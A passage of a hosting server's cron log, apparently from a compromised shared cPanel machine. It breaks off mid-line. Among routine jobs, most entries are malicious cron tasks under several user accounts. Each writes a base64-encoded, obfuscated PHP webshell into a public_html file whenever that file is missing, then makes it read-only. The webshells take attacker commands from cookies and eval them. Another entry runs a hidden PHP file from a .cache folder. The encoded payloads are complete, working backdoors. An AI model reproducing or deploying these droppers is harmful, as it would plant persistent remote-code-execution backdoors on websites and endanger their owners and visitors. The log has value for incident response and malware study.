KCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:46:02 medusa CROND[16585]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:46:02 medusa CROND[16586]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:46:02 medusa CROND[16597]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:46:02 medusa CROND[16613]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:46:02 medusa CROND[16612]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:46:02 medusa CROND[16615]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:46:02 medusa CROND[16617]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:46:02 medusa CROND[16618]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:46:02 medusa CROND[16619]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:47:01 medusa CROND[1377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:47:01 medusa CROND[1380]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:47:02 medusa CROND[1687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:47:02 medusa CROND[1689]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:47:02 medusa CROND[1688]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:47:02 medusa CROND[1690]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:47:02 medusa CROND[1693]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:47:02 medusa CROND[1696]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 11:47:02 medusa CROND[1697]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:47:02 medusa CROND[1700]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:47:02 medusa CROND[1702]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:47:02 medusa CROND[1721]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:47:02 medusa CROND[1723]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:48:01 medusa CROND[13299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:48:01 medusa CROND[13445]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:48:01 medusa CROND[13477]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:48:01 medusa CROND[13488]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:48:01 medusa CROND[13490]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQ